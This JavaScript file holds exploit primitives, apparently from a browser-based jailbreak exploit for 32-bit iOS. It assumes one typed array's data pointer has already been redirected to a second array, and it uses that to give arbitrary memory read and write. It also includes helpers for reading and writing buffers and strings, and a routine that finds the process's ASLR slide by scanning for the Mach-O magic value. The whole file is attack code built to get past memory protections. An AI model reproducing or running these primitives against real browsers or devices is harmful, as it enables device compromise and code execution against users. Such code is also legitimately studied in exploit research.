var VECTOR_OFFSET = 0x10;

/*
 *  read uint8_t
 */
function read_u8(addy) {
	u8x4 = u32_to_u8x4(addy);

	/*
	 *  `parent` is a Uint8Array of length 0x100.
	 *  `child` is also a Uint8Array of length 0x100.
	 *  `parent`'s `vector`, its pointer to where its data is stored, has been
	 *  modified to point to the `child` object in memory.
	 *  as such, accessing `parent` will allow for modifying the `child` object.
	 *  
	 *  the way this is used is by writing to `child`'s `vector` so it points to
	 *  arbitrary memory. then, we can access `child`, and we now have arbitrary
	 *  r/w
	 */

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	return child[0];
}

/*
 *  read uint16_t
 */
function read_u16(addy) {
	u8x4 = u32_to_u8x4(addy);

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	return u8x2_to_u16(child);

}

/*
 *  read uint32_t
 */
function read_u32(addy) {
	u8x4 = u32_to_u8x4(addy);

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	return u8x4_to_u32(child);
}

/*
 *  read a buffer
 */
function read_buf(addy, len) {
	var buf = new Uint8Array(len);

	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
		buf[cur_addy - addy] = read_u8(cur_addy);
	}

	return buf;
}

/*
 *  write a buffer
 */
function write_buf(addy, buf, len) {
	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
		write_u8(cur_addy, buf[cur_addy - addy]);
	}

	return buf;
}

/*
 *  write uint8_t
 */
function write_u8(addy, what) {
	u8x4 = u32_to_u8x4(addy);

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	child[0] = what;
}

/*
 *  write uint16_t
 */
function write_u16(addy, what) {
	u8x4 = u32_to_u8x4(addy);

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	u8x2 = u16_to_u8x2(what);
	child[0] = u8x2[0];
	child[1] = u8x2[1];
}

/*
 *  write uint32_t
 */
function write_u32(addy, what) {
	u8x4 = u32_to_u8x4(addy);

	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

	u8x4 = u32_to_u8x4(what);
	child[0] = u8x4[0];
	child[1] = u8x4[1];
	child[2] = u8x4[2];
	child[3] = u8x4[3];
}

/*
 *  get process slide
 */
function get_our_slide() {
	for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
		if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
			return slide;
		}
	}
}

function write_str(addy, s) {
	for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
		write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
	}

	return s;
}